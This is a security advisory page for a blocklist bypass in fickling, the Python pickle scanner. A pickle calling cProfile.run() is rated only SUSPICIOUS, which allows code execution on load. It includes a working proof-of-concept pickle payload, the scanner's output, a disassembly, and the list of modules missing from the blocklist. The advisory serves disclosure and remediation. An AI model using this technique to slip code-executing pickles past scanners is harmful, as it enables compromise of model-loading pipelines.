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CVE-2026-22607 — Vulnerability in fickling — CVE Details

HIGH

Fickling Blocklist Bypass: cProfile.run()

Published January 9, 2026Updated July 7, 2026Source: osv

Summary

# Fickling's assessment `cProfile` was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43). # Original report ## Description ### Summary Fickling versions up to and including 0.1.6 do not treat Python's `cProfile` module as unsafe. Because of this, a malicious pickle that uses `cProfile.run()` is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling's output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. ### Details The `cProfile` module is missing from fickling's block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types). Incriminated source code: - File: `fickling/analysis.py` - Class: `UnsafeImports` - Issue: The blocklist does not include `cProfile`, `cProfile.run`, or `cProfile.runctx` Reference to similar fix: - PR #187 added `pty` to the blocklist to fix CVE-2025-67748 - PR #108 documented the blocklist approach - The same fix pattern should be applied for `cProfile` How the bypass works: 1. Attacker creates a pickle using `cProfile.run()` in `__reduce__` 2. `cProfile.run()` accepts a Python code string and executes it directly (C-accelerated version of profile.run) 3. Fickling's `UnsafeImports` analysis does not flag `cProfile` as dangerous 4. Only the `UnusedVariables` heuristic triggers, resulting in SUSPICIOUS severity 5. The pickle should be rated OVERTLY_MALICIOUS like `os.system`, `eval`, and `exec` Tested behavior (fickling 0.1.6): | Function | Fickling Severity | RCE Capable | |----------|-------------------|-------------| | os.system | LIKELY_OVERTLY_MALICIOUS | Yes | | eval | OVERTLY_MALICIOUS | Yes | | exec | OVERTLY_MALICIOUS | Yes | | cProfile.run | SUSPICIOUS | Yes ← BYPASS | | cProfile.runctx | SUSPICIOUS | Yes ← BYPASS | Suggested fix: Add to the unsafe imports blocklist in `fickling/analysis.py`: - `cProfile` - `cProfile.run` - `cProfile.runctx` - `_lsprof` (underlying C module) ## PoC Complete instructions, including specific configuration details, to reproduce the vulnerability. Environment: - Python 3.13.2 - fickling 0.1.6 (latest version, installed via pip) ### Step 1: Create malicious pickle ```python import pickle import cProfile class MaliciousPayload: def __reduce__(self): return (cProfile.run, ("print('CPROFILE_RCE_CONFIRMED')",)) with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f) ``` ### Step 2: Analyze with fickling ```python from fickling.fickle import Pickled from fickling.analysis import check_safety with open('malicious.pkl', 'rb') as f: data = f.read() pickled = Pickled.load(data) result = check_safety(pickled) print(f"Severity: {result.severity}") print(f"Analysis: {result}") ``` Expected output (if properly detected): ``` Severity: Severity.OVERTLY_MALICIOUS ``` Actual output (bypass confirmed): ``` Severity: Severity.SUSPICIOUS Analysis: Variable `_var0` is assigned value `run(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file ``` ### Step 3: Prove RCE by loading the pickle ```bash python -c "import pickle; pickle.load(open('malicious.pkl', 'rb'))" ``` Output ``` CPROFILE_RCE_CONFIRMED 4 function calls in 0.000 seconds Ordered by: standard name ncalls tottime percall cumtime percall filename:lineno(function) 1 0.000 0.000 0.000 0.000 <string>:1(<module>) 1 0.000 0.000 0.000 0.000 {built-in method builtins.exec} 1 0.000 0.000 0.000 0.000 {built-in method builtins.print} 1 0.000 0.000 0.000 0.000 {method 'disable' of '_lsprof.Profiler' objects} ``` Check: The code executes, proving RCE. ### Pickle disassembly (evidence): ``` 0: \x80 PROTO 5 2: \x95 FRAME 58 11: \x8c SHORT_BINUNICODE 'cProfile' 21: \x94 MEMOIZE (as 0) 22: \x8c SHORT_BINUNICODE 'run' 27: \x94 MEMOIZE (as 1) 28: \x93 STACK_GLOBAL 29: \x94 MEMOIZE (as 2) 30: \x8c SHORT_BINUNICODE "print('CPROFILE_RCE_CONFIRMED')" 63: \x94 MEMOIZE (as 3) 64: \x85 TUPLE1 65: \x94 MEMOIZE (as 4) 66: R REDUCE 67: \x94 MEMOIZE (as 5) 68: . STOP highest protocol among opcodes = 4 ``` ## Impact Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502). Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes: - ML model validation pipelines - Model hosting platforms (Hugging Face, MLflow, etc.) - Security scanning tools that use fickling - CI/CD pipelines that validate pickle artifacts Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system. Why cProfile.run() is dangerous: Unlike `runpy.run_path()` which requires a file on disk, `cProfile.run()` takes a code string directly. This means the entire attack is self-contained in the pickle - no external files needed. Python docs explicitly state that `cProfile.run()` takes "a single argument that can be passed to the exec() function". `cProfile` is the C-accelerated version and is more commonly available than `profile`. It's also the recommended profiler per Python docs ("cProfile is recommended for most users"), so it's present in virtually all Python installations. Severity: HIGH - The attacker achieves arbitrary code execution - The security control (fickling) is specifically designed to prevent this - The bypass requires no special conditions beyond crafting the pickle with cProfile - Attack is fully self-contained (no external files needed) - cProfile is more commonly used than profile, increasing attack surface

Advisory Timeline

  • First published January 9, 2026 (276 days ago).
  • Last revised July 7, 2026 — 179 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

pip
Update fickling to 0.1.7 or later
pip install "fickling>=0.1.7"

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: pypi (1).

PackageEcosystemAffectedFixed In
fickling
pypi
0.0.1, 0.0.2, 0.0.3, 0.0.4 (+9 more)0.1.7

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Frequently Asked Questions

What is CVE-2026-22607?
Fickling Blocklist Bypass: cProfile.run() This vulnerability has been assigned a severity rating of HIGH (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2026-22607?
CVE-2026-22607 affects fickling. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-22607 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-p523-jq9w-64x9
PYSEC-2026-1371

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